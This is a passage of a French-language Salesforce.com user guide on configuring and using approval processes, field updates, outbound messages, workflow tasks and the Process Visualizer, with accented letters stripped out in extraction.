f. Spcifiez la nouvelle valeur de champ. Les options disponibles dpendent du type de champ que vous mettez
jour. Vous pouvez:

Slectionnez Une valeur spcifique et entrez la valeur dans l'espace prvu cet effet.
Slectionnez Une valeur vide (nulle) pour que Salesforce.com supprime toute valeur existante et laisse
le champ vide. Cette option n'est pas disponible pour les champs, cases cocher et certains autres types de
champs requis.
Pour les responsables d'enregistrement, slectionnez l'utilisateur auquel l'enregistrement doit tre attribu.
Pour les enregistrements de requte, de piste et d'objet personnalis, vous pouvez galement choisir une file
d'attente pour ce champ. Slectionnez ventuellement Notifier le bnficiaire pour envoyer un
e-mail au nouveau responsable de l'enregistrement.
Pour les cases cocher, choisissez Vrai pour slectionner la case et Faux pour la dslectionner.
Pour les listes de slection, slectionnez une valeur spcifique dans la liste droulante, ou celle situe au-dessus
ou au-dessous de la valeur actuelle selon le tri spcifi dans la dfinition de la liste de slection. Si vous triez
les valeurs par ordre alphabtique, les valeurs situes au-dessus ou au-dessous peuvent diffrer en fonction de
la langue de l'utilisateur.
Slectionnez Utiliser une formule pour dfinir la nouvelle valeur pour calculer la valeur
en fonction d'une expression, de champs de fusion ou d'autres valeurs.
a. Si vous laborez une formule dans l'onglet Formule avance pour des approbations ou des rgles, telles
qu'un workflow, une validation, une attribution, une rponse automatique ou une hirarchisation, cliquez
sur Insrer un champ, choisissez un champ, puis cliquez sur Insrer.
Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques, slectionnez l'onglet
Formule simple, choisissez le type de champ dans la liste droulante Slectionner un type de
champ, puis l'un des champs de la liste droulante Insrer un champ.
Conseil: Les formules inter-objets gnres s'tendent des objets associs et rfrencent des champs
de fusion dans ces objets.
b. Pour insrer des champs de fusion de requte dont l'e-mail met jour des champs de requtes associs,
cliquez sur Insrer un champ dans la section Critres de la rgle et slectionnez E-mail > Requte parent.
c. Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste droulante Insrer
un oprateur. Utilisez les exemples de la section Oprateurs et fonctions la page 475.
d. Vous pouvez galement insrer une fonction partir de la liste Fonctions. Ces fonctions sont des formules
dj intgres que vous pouvez ensuite personnaliser avec vos paramtres d'entre. Pour une description
de chaque oprateur/fonction, reportez-vous la section Oprateurs et fonctions la page 475.

g. Cliquez sur Enregistrer.

Pour les messages sortants :
a. Saisissez un nom pour ce message sortant.
b. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 820

c.
d.
e.
f.
g.

h.

i.

despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
Saisissez une description pour ce message sortant.
Entrez une URL de point limite pour le destinataire du message. Salesforce.com envoie un message SOAP ce
point limite.
Slectionnez l'utilisateur Salesforce.com utiliser lors de l'envoi du message. L'utilisateur slectionn contrle la
visibilit des donnes pour le message envoy au point limite.
Cochez la case Composant protg pour marquer le message sortant comme tant protg. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
Slectionnez Envoyer l'ID de session afin d'inclure l'ID de session Salesforce.com au message sortant.
Incluez l'ID de session dans votre message si vous avez l'intention d'effectuer des appels API et que vous ne
souhaitez inclure ni nom d'utilisateur ni mot de passe. L'envoi d'un nom d'utilisateur et d'un mot de passe est
moins sr que l'envoi d'un ID de session.
Slectionnez Ajouter les checs la liste associe des messages sortants chous si
vous souhaitez que ce message soit dplac dans la liste associe ses messages sortants chous l'issue de toutes
les tentatives. Si vous ne voyez pas cette option, cela signifie que les notifications de messages sortants chous
n'ont pas t actives pour votre entreprise. Contactez votre reprsentant salesforce.com.
Slectionnez les champs inclure dans le message sortant et cliquez sur Ajouter.

Pour des tches :

a. Slectionnez un bnficiaire. Selon le type d'enregistrement choisi, le bnficiaire peut tre un utilisateur, un rle,
un responsable d'enregistrement, un crateur d'enregistrement, un rle dans l'quipe de vente ou dans l'quipe
de comptes.
Remarque:

Si le bnficiaire d'une tche est le responsable de l'enregistrement et que le responsable d'une piste
ou d'une requte est une file d'attente, la personne ayant dclench la rgle devient le bnficiaire de
la tche.
Si l'objet est traduit, Salesforce.com cre une tche dans la langue du bnficiaire. Si l'objet est traduit
et que vous avec activ Notifier le bnficiaire pour la tche, Salesforce.com envoie l'e-mail dans la
langue du bnficiaire. Cependant, si seul le champ des commentaires est traduit, Salesforce.com cre
une tche et envoie l'e-mail dans la langue de l'utilisateur ayant dclench la tche.
Si un objet personnalis a une relation principal-dtails avec un objet standard, le responsable de
l'enregistrement de l'objet standard principal devient automatiquement responsable de l'enregistrement
de l'objet personnalis. Par exemple, si un objet personnalis nomm Dpenses a une relation
principal-dtails avec un objet Comptes, le responsable de chaque enregistrement de dpense est
galement responsable du compte de la dpense.
De mme, si le bnficiaire d'une tche de workflow est un rle possdant plusieurs utilisateurs, la
personne ayant dclench la rgle devient le bnficiaire de la tche, quel que soit son rle. Il est
recommand de ne pas attribuer de tches aux rles possdant plusieurs utilisateurs. L'attribution de
tches aux rles possdant un utilisateur permet de modifier facilement l'utilisateur de ce rle sans
modifier la rgle de workflow.

b. Entrez l'objet de la tche.

c. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 821

d.
e.
f.
g.
h.

slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
Choisissez une chance, un statut et une priorit. Les chances sont indiques dans le fuseau horaire du
bnficiaire.
Cochez la case Notifier le bnficiaire pour envoyer une notification par e-mail lorsque la tche est
attribue.
Cochez la case Composant protg pour marquer la tche comme tant protge. Pour plus d'informations,
reportez-vous Composants protgs la page 845.
Entrez des commentaires associer la tche.
Cliquez sur Enregistrer.

Remarque: Les actions que vous crez pour les processus d'approbation peuvent tre rutilises dans des rgles de
workflow.

Voir aussi :
Gestion du workflow et des approbations
Gestion des processus d'approbation
Prsentation des processus d'approbation
Terminologie propre aux processus d'approbation
Utilisation du Visualiseur de processus

Utilisation de l'assistant de dmarrage automatique du processus

d'approbation
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des processus d'approbation :

Personnaliser l'application

L'assistant de dmarrage automatique du processus d'approbation vous aide crer en quelques clics un processus d'approbation
simple en une tape. Toutefois, pour que votre processus soit aussi fonctionnel et complet que possible, vous devez effectuer
quelques oprations prliminaires :
1. Si vous souhaitez automatiser l'acheminement des approbations, vous pouvez utiliser le champ standard de responsable ou
crer un champ de hirarchie personnalise sur l'objet de l'utilisateur.
2. Crez le modle d'un e-mail informant les approbateurs qu'une tape du processus d'approbation doit tre approuve ou
rejete. Veillez inclure des champs de fusion d'approbation pour que l'approbateur puisse accder directement la page

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 822

d'approbation partir de l'e-mail. Si la rponse d'approbation par e-mail est active pour votre entreprise, assurez-vous
que le modle d'e-mail utilis dcrit comment utiliser correctement les deux options de rponse : en cliquant sur le lien et
en rpondant par e-mail. Pour plus d'informations sur les modles d'e-mail, reportez-vous Gestion des modles de message
la page 77. Pour plus d'informations sur la rponse d'approbation par e-mail, reportez-vous Personnalisation des
paramtres de workflow et dapprobation la page 734.
3. Crez le modle d'un e-mail de confirmation signalant un responsable d'enregistrement que l'une de ses tapes a t
approuve ou rejete dans le processus d'approbation.
4. Crez les actions de workflow qui doivent se produire pendant le processus d'approbation d'un enregistrement. Pour plus
d'informations, reportez-vous Gestion du workflow et des approbations la page 724.
Concevez rapidement le processus d'approbation grce l'assistant de dmarrage automatique. Il automatise le processus de
cration des processus d'approbation en choisissant certaines options par dfaut votre place. Pour connatre la liste des options
que l'assistant de dmarrage automatique choisit automatiquement, reportez-vous Slections par dfaut du dmarrage
automatique du processus d'approbation la page 825.
Pour utiliser l'assistant de dmarrage automatique pour crer un processus d'approbation :
1. Cliquez sur Configuration Crer Workflow & approbations Processus d'approbation.
2. Choisissez l'objet du nouveau processus d'approbation.
3. Cliquez sur Crer un processus d'approbation et slectionnez l'option Utiliser l'assistant de dmarrage automatique du
bouton droulant.
4. Saisissez le nom du nouveau processus d'approbation.
5. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage dans les
installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet slectionn. Vous pouvez
avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme nom, condition qu'elles soient
dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre pour des opportunits. Le champ Nom
unique ne peut contenir que des traits de soulignement et des caractres alphanumriques. Il doit tre unique dans le type
d'objet slectionn, commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et
ne doit pas contenir deux traits de soulignement conscutifs.
6. Choisissez le modle d'e-mail personnalis utiliser pour prvenir les approbateurs qu'une demande d'approbation leur
est attribue ou laissez ce champ vide pour utiliser le modle d'e-mail par dfaut. Chaque processus d'approbation utilise
un modle d'e-mail unique pour toutes les tapes.
Remarque: Si la rponse d'approbation par e-mail est active, assurez-vous que le modle d'e-mail utilis dcrit
l'utilisation approprie des deux options de rponse : en cliquant sur le lien et en rpondant par e-mail. Si l'utilisateur
ne rpond pas correctement (par exemple, s'il orthographie mal approuve ou saisit ce terme dans la mauvaise
ligne), Salesforce.com n'enregistre pas la rponse de l'utilisateur.
Si le modle d'email que vous choisissez contient des champs de fusion d'approbations nomms
{!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque ce modle d'e-mail
est utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle pour toute autre action
d'alerte d'email, que ce soit dans les rgles de workflow ou dans les processus d'approbation, les champs de fusion
renverront une valeur nulle.
7. Slectionnez Ajouter la liste associe Historique des approbations... pour mettre jour les prsentations
de page de cet objet afin qu'elle incluent une liste associe permettant aux utilisateurs de soumettre des demandes
d'approbation et d'en assurer le suivi.
8. Si seuls certains types d'enregistrement doivent faire partie de ce processus d'approbation, choisissez l'une des procdures
suivantes :

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 823

Slectionnez critres suivants sont remplis si vous souhaitez dfinir des critres de filtre qu'un enregistrement
devra respecter pour faire partie de ce processus d'approbation. Par exemple, si seuls les employs travaillant au sige
social doivent utiliser le processus d'approbation afin de soumettre des rapports sur leurs dpenses, entrez les critres
de filtre suivants : Utilisateur actuel : Bureau est gal Sige social . Pour plus d'informations sur l'utilisation des
critres de filtrage, reportez-vous Saisie des critres de filtre la page 1736.
a. Saisissez vos critres de filtre pour les enregistrements que vous souhaitez intgrer ce processus d'approbation.
Laissez le filtre vide pour que tous les enregistrements soumis soient inclus dans le processus d'approbation. Pour
obtenir des informations sur l'utilisation des critres de filtrage, reportez-vous Saisie des critres de filtre la page
1736.
b. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de
modifications supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.

Slectionnez l'valuation de la formule est positive si vous souhaitez qu'une formule dfinisse les
enregistrements intgrs au processus d'approbation.
a. Entrez une formule qui renvoie true (vrai) ou false (faux). Un enregistrement intgre le processus d'approbation si
la formule renvoie true (vrai). Par exemple, utilisez la formule suivante pour exiger l'intgration d'un enregistrement
ce processus d'approbation lorsque la date limite d'approbation de remise de l'enregistrement est infrieure
30 jours :
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

b. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de
modifications supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.
Pour plus d'informations sur l'utilisation de formules, reportez-vous laboration de formules la page 428. Certaines
fonctions ne sont pas disponibles dans les formules de processus d'approbation. Pour plus d'informations sur les fonctions
utiliser dans les formules du processus d'approbation, reportez-vous Oprateurs et fonctions la page 475.
9. Slectionnez le ou les approbateur(s) attribu(s) aux demandes d'approbation cres lors de cette tape. Les approbateurs
attribus sont les utilisateurs ou les membres d'une file d'attente dsigne pour l'approbation des enregistrements qui
accdent l'tape. Options possibles :
Laissez le soumissionnaire choisir l'approbateur manuellement.

Invite l'utilisateur slectionner manuellement le prochain approbateur.

Attribuer automatiquement un approbateur l'aide d'un champ de hirarchie personnalis ou standard.
Attribue la demande d'approbation l'utilisateur indiqu dans le champ affich pour cette option. Par exemple, vous
pouvez souhaiter que les demandes d'approbation soient automatiquement achemines vers le responsable d'un
utilisateur, conformment ce qui est indiqu dans le champ de hirarchie d'utilisateur standard Responsable.
Vous pouvez galement faire en sorte que les demandes d'approbation soient automatiquement achemines vers un
associ spcifi dans un champ d'utilisateur personnalis Responsable de compte.
Attribuer automatiquement une file d'attente.

Affecte la demande d'approbation une file d'attente particulire. Les files d'attente ne sont disponibles que pour
certains objets. Pour plus d'informations sur les files d'attente, reportez-vous Gestion des files d'attente la page
139. Pour plus d'informations sur les demandes d'approbation attribues aux files d'attente, reportez-vous Observations
relatives au processus d'approbation la page 777.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 824

Affecter automatiquement des approbateurs.

Affecte la demande d'approbation un ou plusieurs des lments suivants :

Utilisateur

Contient tous les utilisateurs Salesforce.com de votre organisation.

Utilisateur associ

Un utilisateur spcifi dans tout champ de recherche d'utilisateur de l'enregistrement soumis, par exemple le
champ Dernire modification par.
Utilisez les options Ajouter une ligne et Supprimer une ligne pour modifier le nombre des approbateurs.
La limite est fixe 25 approbateurs par tape.
Important: Lorsque vous spcifiez qui doit approuver les demandes lors d'une tape d'approbation, notez les
points suivants :

Veillez ce que l'approbateur assign dispose d'un accs en lecture aux enregistrements de la demande
d'approbation. Par exemple, un utilisateur qui ne dispose pas d'un accs en lecture un objet personnalis
Dpenses ne pourra pas afficher les demandes d'approbation relatives aux dpenses.
Vous ne pouvez pas affecter des demandes d'approbation des utilisateurs partenaires.
Vous ne pouvez pas utiliser de rponse d'approbation par e-mail avec un processus d'approbation dans lequel
l'approbateur assign est une file d'attente.
Vous pouvez attribuer une demande d'approbation au mme utilisateur plusieurs fois au cours d'une mme
tape ; toutefois, Salesforce.com reconnat de telles redondances et demande une seule approbation l'utilisateur.
Une fois qu'un enregistrement passe en phase d'approbation, les approbateurs dsigns pour cette tape ne
changent pas mme si le processus d'approbation retourne sur cette tape et que les valeurs des champs
d'utilisateur associs qui dsignent les approbateurs ont t modifies. Envisageons par exemple un processus
d'approbation dans lequel la premire tape requiert l'approbation du responsable de l'utilisateur. Si la demande
d'approbation est rejete la deuxime tape et renvoye la premire tape, le responsable d'origine de
l'utilisateur reoit nouveau la demande d'approbation mme si le responsable de l'utilisateur a chang.

10. Si vous spcifiez plusieurs approbateurs dans l'option Affecter automatiquement des approbateurs, choisissez
l'un des lments suivants :
Approuvez ou rejetez en fonction de la premire rponse.
La premire rponse la demande d'approbation dtermine si l'enregistrement est approuv ou rejet.
Ncessite l'approbation unanime de tous les approbateurs slectionns.
L'enregistrement n'est approuv que si tous les approbateurs approuvent la demande. La demande d'approbation est
rejete si l'un des approbateurs la rejette.
11. Cliquez sur Enregistrer pour revenir la page de dtails du processus d'approbation.
12. Slectionnez des actions d'approbation. Pour plus d'informations, reportez-vous Choix des actions d'approbation la
page 814.
13. Lorsque vous tes prt utiliser le processus d'approbation, activez-le :
a. Cliquez sur Configuration Crer Workflow & approbations Processus d'approbation.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 825

b. Cliquez sur Activer en regard d'un processus inactif pour l'activer.

Voir aussi :
Choix d'un assistant de processus d'approbation
Cration de processus d'approbation
Exemples de processus d'approbation
Utilisation du Visualiseur de processus

Slections par dfaut du dmarrage automatique du processus d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des processus d'approbation :

Personnaliser l'application

L'assistant de dmarrage automatique automatise la cration des processus d'approbation en slectionnant automatiquement
des options par dfaut. Si vous utilisez l'assistant de dmarrage automatique, le processus d'approbation est dfini avec les
attributs suivants :

Les utilisateurs doivent disposer de l'autorisation au niveau de l'objet Modifier tout pour un objet donn ou Modifier
toutes les donnes pour modifier les enregistrements en attente dans le processus d'approbation.
La prsentation de page de la demande d'approbation affiche le nom (ou le numro), le responsable, la date de cration et
l'historique des approbations de l'enregistrement.
Les paramtres de scurit empchent les approbateurs d'accder la page d'approbation en externe, partir d'un priphrique
mobile sans fil.
Le responsable de l'enregistrement est la seule personne habilite soumettre une demande d'approbation.
Les enregistrements sont verrouills ds qu'ils sont soumis pour approbation.
Les enregistrements restent verrouills jusqu' ce qu'ils soient approuvs/refuss.
Les enregistrements refuss sont dverrouills.
Seuls les administrateurs peuvent rappeler un enregistrement une fois que ce dernier a t soumis pour approbation.
Aucune fonction d'approbation ou de refus automatique n'est dfinie.
Aucune notification n'est envoye par e-mail lors de l'approbation ou du refus.
Aucune valeur de champ n'est mise jour automatiquement au cours du processus d'approbation.
Un approbateur ne peut pas dlguer automatiquement l'approbation de ses demandes d'approbation un autre utilisateur.
L'option Autoriser les utilisateurs effectuant la soumission rappeler des demandes d'approbation n'est pas slectionne.

Aprs avoir cr un processus d'approbation via l'assistant de dmarrage automatique, vous pouvez modifier les attributs
ci-dessus en cliquant sur Modifier dans une page de liste du processus d'approbation. En outre, il est possible d'ajouter des
tapes partir de la page de dtails du processus d'approbation. Toutefois, vous ne pouvez pas modifier l'action Verrou de
l'enregistrement dans la liste Actions de soumission initiale.
Utilisez le Visualiseur de processus pour afficher une reprsentation graphique d'un processus d'approbation. Le diagramme
en affichage seulement est prsent dans un organigramme. Le diagramme et le menu latral d'information peuvent faciliter

Crer

Guide de l'utilisateur | Gestion des demandes d'approbation | 826

la consultation et la comprhension des tapes dfinies, des critres des rgles et des actions qui incluent votre processus
d'approbation.

Voir aussi :
Utilisation de l'assistant de dmarrage automatique du processus d'approbation
Choix d'un assistant de processus d'approbation

Gestion des demandes d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour accepter, refuser ou rattribuer les demandes
d'approbation :

Les autorisations varient en fonction des paramtres du

processus d'approbation.

Votre administrateur peut configurer un processus d'approbation qui vous permette de soumettre des enregistrements pour
approbation. En fonction des paramtres du processus d'approbation, les enregistrements devront peut-tre avoir certains
attributs pour que vous puissiez les soumettre. De plus, il est possible qu'un seul enregistrement doive passer plusieurs tapes
d'approbation.
En fonction de la configuration du processus d'approbation, vous pouvez soumettre, rappeler, rattribuer, accepter ou refuser
des demandes d'approbation l'aide de la liste associe Historique des approbations sur la page de dtails de l'enregistrement ;
reportez-vous Historique des approbations la page 828. Vous pouvez galement grer les demandes d'approbation qui vous
ont t attribues grce la liste associe lments approuver dans l'onglet Accueil ; reportez-vous lments approuver
la page 827.
Acceptation des demandes
Si vous avez t dsign comme approbateur d'une demande d'approbation, vous recevez une information ce sujet par e-mail.
Pour approuver des demandes :
1. Cliquez sur le lien qui se trouve dans l'e-mail de notification de demande d'approbation. S'il n'y a pas de lien dans votre
e-mail de notification, contactez votre administrateur.
2. Cliquez sur Approuver.
3. Saisissez les ventuels commentaires que vous voulez joindre la demande d'approbation.
4. En fonction des disponibilits, slectionnez l'approbateur suivant.
5. Cliquez sur Approuver.
Si la rponse d'approbation par e-mail est active, vous pouvez rpondre la notification en saisissant des termes comme
approuver, approuve ou oui sur la premire ligne du corps du message, puis en ajoutant, si ncessaire, des commentaires
sur la seconde ligne.
Refus de demandes
Si vous avez t dsign comme approbateur d'une demande d'approbation, vous recevez une information ce sujet par e-mail.
Pour refuser les demandes :

Crer

Guide de l'utilisateur | Gestion des demandes d'approbation | 827

1. Cliquez sur le lien qui se trouve dans l'e-mail de notification de demande d'approbation. S'il n'y a pas de lien dans votre
e-mail de notification, contactez votre administrateur.
2. Saisissez les ventuels commentaires que vous voulez joindre la demande d'approbation.
3. Cliquez sur Rejeter.
Si la rponse d'approbation par e-mail est active, vous pouvez rpondre la notification en saisissant des termes comme
refuser, refuse ou non sur la premire ligne du corps du message, puis en ajoutant, si ncessaire, des commentaires sur
la seconde ligne.
Remarque: Vous devez disposer d'un accs en lecture l'enregistrement pour approuver, refuser, rattribuer ou rappeler
une demande d'approbation le concernant.

Voir aussi :
Terminologie propre aux processus d'approbation
Prsentation des processus d'approbation
Gestion de plusieurs demandes d'approbation
Utilisation du Visualiseur de processus

lments approuver
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser la liste associe lments approuver :

Les autorisations varient en fonction des paramtres du

processus d'approbation.

La liste associe lments approuver suit les demandes d'approbation ouvertes qui vous ont t attribues. Si votre
administrateur a cr un processus d'approbation pour votre entreprise, vous verrez peut-tre cette liste associe sur votre page
d'accueil. En fonction du processus d'approbation, vous pouvez :

Cliquer sur une demande d'approbation pour voir plus de dtails.

Pour attribuer une demande d'approbation un autre utilisateur, cliquez sur Rattribuer en regard de l'lment concern.
Pour afficher la page de dtails de la demande d'approbation et approuver ou rejeter une demande d'approbation en attente,
cliquez sur Approuver/Refuser en regard de l'lment concern.
Remarque: Vous devez disposer d'un accs en lecture l'enregistrement pour approuver, refuser, rattribuer ou
rappeler une demande d'approbation le concernant.

Cliquer sur Grer tout pour grer toutes les demandes d'approbation qui vous ont t attribues. Slectionner ensuite les
demandes d'approbation en cochant les cases appropries. Vous pouvez galement cocher la case situe en regard de l'en-tte
de colonne afin de slectionner tous les lments actuellement affichs.
-

Cliquer sur Rattribuer pour attribuer la demande d'approbation slectionne un autre utilisateur, choisir un autre
utilisateur, saisir des commentaires si besoin et cliquer sur Enregistrer.

Crer

Guide de l'utilisateur | Gestion des demandes d'approbation | 828

Cliquer sur Approuver/Refuser pour afficher la page de dtails de la demande d'approbation et cliquer sur Approuver
ou Rejeter pour approuver ou refuser en une seule fois toutes les demandes d'approbation slectionnes.
Remarque: Vous devez disposer d'un accs en lecture l'enregistrement pour approuver, refuser, rattribuer ou rappeler
une demande d'approbation le concernant.

Voir aussi :
Gestion des demandes d'approbation
Terminologie propre aux processus d'approbation
Prsentation des processus d'approbation
Gestion de plusieurs demandes d'approbation

Historique des approbations

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser la liste associe Historique des approbations :

Les autorisations varient en fonction des paramtres du

processus d'approbation.

La liste associe Historique des approbations suit l'enregistrement tout au long du processus d'approbation. Si un objet comporte
un processus d'approbation, cette liste associe peut figurer sur une page de dtails des enregistrements. Selon les paramtres
du processus d'approbation, vous pouvez utiliser la liste associe pour les oprations suivantes :

Pour soumettre un enregistrement pour approbation, cliquez sur Soumettre pour approbation. Salesforce.com lance tout
processus d'approbation applicable l'enregistrement. Cette option n'est pas disponible aprs la soumission de
l'enregistrement. Selon le processus d'approbation, le systme peut vous inviter slectionner le prochain approbateur.
Pour retirer un enregistrement du processus d'approbation, cliquez sur Rappeler la demande d'approbation. Cette option
n'est disponible que si l'enregistrement est en cours d'approbation. Si vous slectionnez l'option Autoriser les utilisateurs
effectuant la soumission rappeler des demandes d'approbation pour le processus d'approbation, les utilisateurs effectuant
les soumissions et les administrateurs peuvent tous deux utiliser le bouton Rappeler la demande d'approbation dans la
liste associe Historique des approbations de la page de dtails des enregistrements soumis. Sinon, seuls les administrateurs
peuvent l'utiliser. Lorsque un utilisateur clique sur Rappeler la demande d'approbation, la demande d'approbation en
cours pour l'enregistrement est retire et des actions de rappel sont excutes. Pour plus d'informations, reportez-vous
Actions de rappel la page 808.
Pour attribuer une demande d'approbation un autre utilisateur, cliquez sur Rattribuer en regard de l'lment concern.
Pour afficher la page de dtails de la demande d'approbation et approuver ou rejeter une demande d'approbation en attente,
cliquez sur Approuver/Refuser en regard de l'lment concern.
Remarque: Vous devez disposer d'un accs en lecture l'enregistrement pour approuver, refuser, rattribuer ou
rappeler une demande d'approbation le concernant.

Crer

Guide de l'utilisateur | Utilisation du Visualiseur de processus | 829

En fonction de la manire dont l'administrateur a personnalis la liste associe Historique des approbations, celle-ci peut
contenir les valeurs Statut suivantes :
Statut

Dfinition

Soumis

L'enregistrement a t soumis pour approbation.

En cours

L'enregistrement a t soumis pour approbation et attend

d'tre approuv ou refus.

Approuve

L'enregistrement a t approuv.

Rejete

L'enregistrement a t refus.

Rattribu

L'enregistrement a t soumis pour approbation mais attribu

un autre approbateur.

Rappel

L'enregistrement a t soumis pour approbation mais rappel

depuis le processus d'approbation.

Avant que vous puissiez soumettre un enregistrement pour approbation, il doit remplir les critres d'un processus d'approbation
actif. Contactez l'administrateur pour savoir quels attributs doit avoir un enregistrement pour tre inclus dans un processus
d'approbation actif de votre entreprise.

Voir aussi :
Gestion des demandes d'approbation
Terminologie propre aux processus d'approbation
Prsentation des processus d'approbation
Utilisation du Visualiseur de processus

Utilisation du Visualiseur de processus

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisation utilisateur requise

Pour afficher les tapes d'approbation :

Afficher la configuration

Vous pouvez utiliser le Visualiseur du processus pour :

Afficher un organigramme de chaque processus d'approbation enregistr

Amliorer la communication sur le processus d'approbation et obtenir l'approvisionnement de responsables d'tape
Renforcer les stratgies de votre entreprise en documentant les dcisions arrtes lors de la conception du processus
d'approbation
Imprimer une version annote du processus d'approbation, dans laquelle les numros ajouts au diagramme correspondent
aux dtails du tableau inclus dans la vue imprimable

Crer

Guide de l'utilisateur | Utilisation du Visualiseur de processus | 830

Partager des diagrammes de processus d'approbation en enregistrant des versions annotes au format PDF (ncessite un
pilote d'impression Adobe PDF)
Faciliter la rcupration d'informations cls en recherchant des diagrammes complexes ou plusieurs tapes qui correspondent
au texte
Faciliter la visualisation et la perception graphique :
-

Les tapes requises pour l'approbation d'un enregistrement

Les approbateurs dsigns pour chaque tape
Les critres utiliss pour dclencher le processus d'approbation
Les actions spcifiques mener lorsqu'un enregistrement est approuv, refus, rappel ou soumis une approbation
initiale.

Voir aussi :
Lancement du Visualiseur de processus
Processus d'approbation - Mise en route

Lancement du Visualiseur de processus

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisation utilisateur requise

Pour afficher les tapes d'approbation :

Afficher la configuration

Avant d'utiliser le Visualiseur de processus, vous devez :

Activer ou tlcharger le plug-in Adobe Flash Player, version 9.0.115 ou suprieure, dans votre navigateur
Avoir au moins un processus d'approbation dfini dans votre organisation

Une fois les prrequis satisfaits :

1. Cliquez sur Configuration Crer Workflow & approbations Processus d'approbation.
2. Cliquez sur le nom du processus d'approbation que vous souhaitez visualiser.
3. Dans la page de dtails du processus d'approbation, cliquez sur Afficher le diagramme.
Chaque diagramme de processus d'approbation est rserv l'affichage. Vous ne pouvez pas mettre jour un processus
d'approbation partir du Visualiseur de processus. Une fois les modifications apportes au processus d'approbation enregistres,
cliquez sur Afficher le diagramme, pour afficher les mises jour, ou cliquez sur Actualiser dans sa fentre du Visualiseur de
processus s'il est ouvert.

Voir aussi :
Utilisation du Visualiseur de processus

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Guide de l'utilisateur | Prsentation d'Apex | 831

Prsentation d'Apex
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Une sous-application est un ensemble de composants, tels que des onglets, des rapports, des tableaux de bord et des pages
Visualforce, qui rpondent des besoins professionnels spcifiques. Salesforce.com fournit des sous-applications standard
comme Ventes et Centre d'appel. Vous pouvez adapter les sous-applications standard vos mthodes de travail. En outre,
vous pouvez crer un package pour une sous-application et le tlcharger dans Force.com AppExchange avec des composants
associs tels que des champs, des onglets et des objets personnaliss. Vous pouvez ensuite mettre la sous-application la
disposition des autres utilisateurs Salesforce.com dans AppExchange. Une sous-application peut contenir un ou plusieurs des
composants suivants :

Les classes et les dclencheurs Apex (disponibles uniquement dans les versions Developer Edition, Enterprise Edition, et
Unlimited Edition)
Motif de partage Apex
Nouveau calcul de partage Apex
Sous-applications personnalises
Champs personnaliss
Boutons et liens personnaliss
Prsentations personnalises de page d'accueil
tiquettes personnalises
Objets personnaliss (qui incluent : champs personnaliss, relations principal-dtails et de recherche, valeurs de liste de
slection, types de rapport, prsentations de page, prsentations de page miniatures, prsentations de liste associe,
prsentations de recherche, vues de liste publique, rgles de validation, boutons personnaliss, liens personnaliss,
configuration de l'aide contextuelle et commande Custom S-Control slectionne cet effet)
Remarque: Lorsqu'un package est install, seules les vues de listes publiques partir d'une sous-application sont
installes. Si un objet personnalis prsente des vues de liste personnalises que vous voulez inclure dans votre
package, assurez-vous que la vue de listes est accessible tous les utilisateurs.

Types de rapport personnalis

Rapports personnaliss
Commandes Custom S-Control
Onglets personnaliss
Tableaux de bord
Documents
Modles d'e-mails
Dossiers
En-ttes
Vues Listes
Prsentations de page
Profils
Commandes S-Control
Ressources statiques
Types d'enregistrement

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Guide de l'utilisateur | Prsentation d'Apex | 832

Rapports
Valeurs traduites disponibles dans le systme de traduction pour les composants prts l'emploi
Rgles de validation
Composants Visualforce
Pages Visualforce
Rgles de workflow, alertes, mises jour de champs, messages sortants et tches

Lors de l'ajout de composants un package, certains composants associs sont automatiquement inclus. Par exemple, lorsque
